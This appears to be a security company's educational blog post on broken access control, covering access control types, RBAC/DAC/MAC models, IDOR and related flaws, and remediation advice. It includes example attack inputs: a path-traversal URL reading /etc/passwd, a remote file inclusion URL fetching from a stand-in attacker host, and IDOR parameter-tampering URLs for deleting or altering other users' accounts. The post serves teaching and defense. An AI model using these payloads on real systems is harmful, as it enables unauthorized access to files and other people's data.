1. Introduction
While sometimes mistakenly used interchangeably, authentication and authorization represent fundamentally different functions. In simple terms, authentication is the process of verifying who a user is, while authorization is the process of verifying what they have access to.
We can begin by comparing authentication and authorization by asking who you are and what you are allowed to do. Let’s see the figures below:
Broken Access Control Guide:
- Introduction
- What is Broken Access Control?
- Access Control Types
- Access Control Policy
- Access Control Security Models
- Some Common Attacks
- Real World Scenarios
- Remediation Guidelines
- Conclusion
We can compare these processes to going through security in an airport and showing your ID to authenticate your identity in the real world. When you arrive at the gate, you present your boarding pass to the flight attendant, so they can authorize you to board your flight and allow access to the plane.
Authentication vs. Authorization
Authentication is the process of verifying who a user is, while authorization is the process of verifying what they have access to.
To learn more about the distinctions between authentication and authorization, check out: Broken Access Control vs Broken Authentication
In this blog post, we will discuss Broken Access Control, which takes fifth place in OWASP Top 10 2017, by making use of a variety of resources, especially the OWASP (The Open Web Application Security Project).
Broken Access Control is a threat that has to be taken seriously and it has a significant impact on Web Application Security. Before getting into this topic, you’d better take a look at these articles written by the PurpleBox Security Team to learn more about OWASP and OWASP Top 10 Security Vulnerabilities:
- An Introduction to Application Security
- What is OWASP?
- A Closer Look at OWASP Top 10 Security Risks & Vulnerabilities
2. What is Broken Access Control?
As per OWASP;
Authorization is the process where requests to access a particular resource should be granted or denied. As mentioned above, authorization is not equivalent to authentication. The authorization includes the execution rules that determine which functionality and data the user (or Principal) may access, ensuring the proper allocation of access rights after authentication is successful.
Web applications need access controls to allow users (with varying privileges) to use the application. They also need administrators to manage the application’s access control rules and the granting of permissions or entitlements to users and other entities. Various access control design methodologies are available. To choose the most appropriate one, a risk assessment needs to be performed to identify threats and vulnerabilities specific to your application, so that the proper access control methodology is appropriate for your application.
Access Control problems are commonly encountered, and they often pose concrete security risks and critical vulnerabilities. Since the design and management of access controls is a complex and dynamic problem, errors are potentially high. Therefore, access control designs and decisions have to be made by humans, not technology.
While normal users can perform only regular actions such as money transfers, administrators can perform actions that require more privileges such as deleting or modifying users.
3. Access Control Types
From users’ point of view, access control can be classified into three groups:
- Vertical Access Control
- Horizontal Access Control
- Context-Dependent Access Control
3.1 Vertical Access Control
Vertical access control mechanisms restrict access to sensitive functions based on the types of users.
With vertical access controls, different types of users have access to different application functions. For example, an administrator might be able to modify or delete any user’s account, while an ordinary user has no access to these actions.
The figure above shows that admin users can reach resources and functions that require admin privileges and regular users can reach resources and functions which require users’ privileges. However, users cannot reach resources and functions that require admin privileges due to vertical access control.
Vertical Access Control
Vertical access control mechanisms restrict access to sensitive functions based on the types of users.
3.2 Horizontal Access Control
Horizontal access control mechanisms restrict access to resources to the users who are specifically allowed to access those resources.
With horizontal access controls, different users have access to a subset of resources of the same type. For example, a banking application will allow a user to view transactions and make payments from their accounts, but not the accounts of any other user.
According to the figure above, each user can reach their resources and actions. However, they cannot reach each other’s resources and actions although they are at the same privilege level as regular users. This is horizontal access control.
Horizontal Access Control
Horizontal access control mechanisms restrict access to resources to the users who are specifically allowed to access those resources.
3.3 Context-Dependent Access Control
Context-dependent access control mechanisms restrict access to functionality and resources based on the state of the application or the user’s interaction with it. Context-dependent access controls prevent a user from performing actions in the wrong order.
The example scenario in Figure 4 is that the e-commerce website should prevent users from modifying the contents of their shopping cart after they have made a payment. This can be also defined as a business logic error related to broken access control. Here, the user adds items into his cart and completes payment. However, he cannot change the items in his cart after payment because context-dependent access control does not allow him to perform actions in the wrong order.
Context-Dependent Access Control
Context-dependent access control mechanisms restrict access to functionality and resources based on the state of the application or the user’s interaction with it. Context-dependent access controls prevent a user from performing actions in the wrong order.
4. Access Control Policy
Security requirements should be described clearly so that architects, designers, developers, and support teams can understand, and they can design and implement appropriate access controls in a consistent manner. To ensure that, we need an access control policy for web development.
5. Access Control Security Models
5.1 Role-Based Access Control (RBAC)
In Role-Based Access Control (RBAC), access decisions are based on an individual’s roles and responsibilities within the organization or user base. The process of defining roles is usually based on analyzing an organization’s fundamental goals and structure and is usually linked to the security policy.
For instance, in a medical organization, the different roles of users may include those such as a doctor, nurses, attendants, patients, etc. These members require different levels of access to perform their functions, but also the types of web transactions and their allowed context vary greatly depending on the security policy and any relevant regulations.
RBAC is most effective when there are sufficient roles to properly invoke access controls but not so many as to make the model excessively complex and unwieldy to manage.
5.2 Discretionary Access Control (DAC)
With discretionary access control, access to resources or functions is constrained based upon users or named groups of users. Owners of resources or functions can assign or delegate access permissions to users. This model is highly granular with access rights defined to an individual resource or function and user. Consequently, the model can become very complex to design and manage.
DAC has some key features to take into account:
- Discretionary: Access controls are not automatically applied by operating systems.
- Controllable: Permissions are managed by the owner/administrator of the object (file, folder, etc.)
- Transferable: Owners can transfer the control to others.
5.3 Mandatory Access Control (MAC)
Mandatory Access Control (MAC) ensures that the enforcement of organizational security policy does not rely on voluntary web application user compliance. MAC secures information by assigning sensitivity labels on information and comparing this to the level of sensitivity a user is operating at. MAC is usually appropriate for extremely secure systems, including multilevel secure military applications or mission-critical data applications.
Significantly, unlike DAC the users and owners of resources cannot delegate or modify access rights for their resources.
6. Some Common Attacks
6.1 Access to Admin Pages
Administrative functions should be linked from an administrator’s welcome page but not from a user’s welcome page. However, a user might to access the administrative functions by browsing directly to the relevant admin URL.
https://target.com/administrator
Access to admin pages where sensitive functions take place generally results in vertical privilege escalation.
Sometimes robots.txt file discloses admin pages, this is a violation of secure design principles. However, attackers usually perform brute-force attacks to discover hidden, sensitive pages like admin pages.
6.2 Directory Traversal File Include
Many web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system to read or write files that are not intended to be accessible.
The definition of the privileges is made by using Access Control Lists (ACL) which identify which users or groups are supposed to be able to access, modify, or execute a specific file on the server. These mechanisms are designed to prevent malicious users from accessing sensitive files.
6.2.1 Local File Inclusion:
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
6.2.2 Remote File Inclusion:
http://example.com/index.php?file=http://hacker.com/malicious.txt
7. Real-World Scenarios
It’s helpful to examine some real-world scenarios to digest the concept and to have a deep understanding of the topic.
7.1 Insecure Direct Object Reference (IDOR)
Insecure Direct Object References (IDOR) occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability, attackers can bypass authorization and access resources in the system directly, for example, database records or files.
Assume that there is an e-commerce application, and we are expected to see only our cart. However, some missing access controls can give us access to other users’ carts.
- Log into your account and go to see your cart. For example,
https://target.com/viewCart.php?userID=1234
- The application has a user ID on a URL parameter. Let’s tamper with it.
https://target.com/viewCart.php?userID=5678
- If you can see the cart of the user whose user ID is 5678, then there is an Insecure Direct Object Reference vulnerability.
- Since the application is vulnerable to IDOR, you can carry out further attacks with more impact such as changing address, changing payment method, deleting the account, and so on.
https://target.com/deleteAccount.php?userID=5678
https://target.com/changeAddress.php?userID=5678
7.2 Broken Object Level Authorisation (BOLA)
The logic behind Broken Object Level Authorisation (BOLA) and IDOR are the same. Therefore, we can define BOLA as “IDOR in APIs”.
APIs tend to expose endpoints that handle object identifiers, creating a wide attack surface Level Access Control issue. Object-level authorization checks should be considered in every function that accesses a data source using input from the user.
Assume you identified target.com uses an API to access data and interact with external software components, operating systems, or microservices.
- Sign in to your account and navigate to the “User Information” page.
- You realized that the application fetches user information from an external service via a GET request as seen on the next page.
If BOLA exists, you can fetch other users’ data by tampering with only the User ID. This results in sensitive information disclosure.
7.3 Missing Function Level Access Control (MFLAC)
Missing Function Level Access Control (MFLAC) is similar to IDOR and BOLA vulnerabilities but this time, broken access control is on functions rather than objects.
Web applications should verify function-level access rights for all requested actions by any user. If checks are not performed and enforced, malicious users may be able to penetrate critical areas of a web application without proper authorization.
Assume that an application allows users to edit their accounts, and user information with a request shown below but, users are not allowed to delete their accounts.
What if a user wants to delete his account instead of editing it? Investigate the request below.
When this request succeeds in deleting the user account, it means any user can abuse the function which is not presented to users in the front-end. This is because of Missing Function Level Access Control.
7.4 Broken Function Level Authorisation (BFLA)
Broken Function Level Authorisation is similar to MFLAC but BFLA is observed on API calls.
Complex access control policies with different hierarchies, groups, and roles, and an unclear separation between administrative and regular functions, tend to lead to authorization flaws. By exploiting these issues, attackers gain access to other users’ resources and/or administrative functions.
Suppose that an application triggers API calls to fetch user information. Examine the following request-response cycles.
Let’s intercept the request and tamper with the API call.
API calls (requests) may vary, but the logic behind the action is the same. For example;
8. Remediation Guidelines
Access control vulnerabilities cannot be prevented by applying a single formula or simple, ordinary, and common checks because; access rights, permissions, principles, and other factors often vary due to the differences in context, workflow, and purpose of the applications.
Therefore, taking a defense-in-depth approach and applying the following principles are important in authorization security.
- Do Not Rely on Obfuscation: Obfuscation is not sufficient for keeping sensitive information safe.
- Deny Access by Default: Unless a resource is intended to be publicly accessible, deny access by default. Design an effective access control. Furthermore, at the code level, make it mandatory for developers to declare the access that is allowed for each resource, and deny access by default.
- Single Application-Wide Mechanism: Wherever possible, use a single application-wide mechanism for enforcing access controls.
- Continuous Audit and Test Access Control: Thoroughly audit and test access controls to ensure they are working as designed.
- Minimize CORS Usage: Restrict access to resources located outside of a given domain by minimizing CORS.
- Disable Web Server Directory Listing: Disable Web Server Directory Listing and ensure file metadata (e.g. .git) and backup files are not present within web roots.
- Log & Alert: Log all Access Control failures and alert admins when appropriate (e.g. repeated failures).
- Rate Limit API: Rate limit API and controller access to minimize the harm from automated attack tooling.
- Force All Requests to Go Through Access Control Checks: Force all requests to go through access control checks. Ensure that all requests go through some kind of access control verification layer.
- Give As Least or As Little Necessary Access as Possible: Ensure that all users, programs, or processes are only given as least or as little necessary access as possible.
To learn more about the proper remediation of access control issues, please visit Access Control Cheat Sheet by OWASP.
9. Conclusion
In this blog post, we have introduced authorization and authentication. In order to understand the differences between them, we have given a glimpse of a comparison of the two. Following the introduction part, we provided more detailed knowledge and a deeper understanding of access control, related vulnerabilities, and security risks.
In the next post in this series, we will discuss authentication and providing comprehensive information by sticking to the security-oriented standpoint.
Check out our Vulnerability Management and Cloud Security services to stay secure!
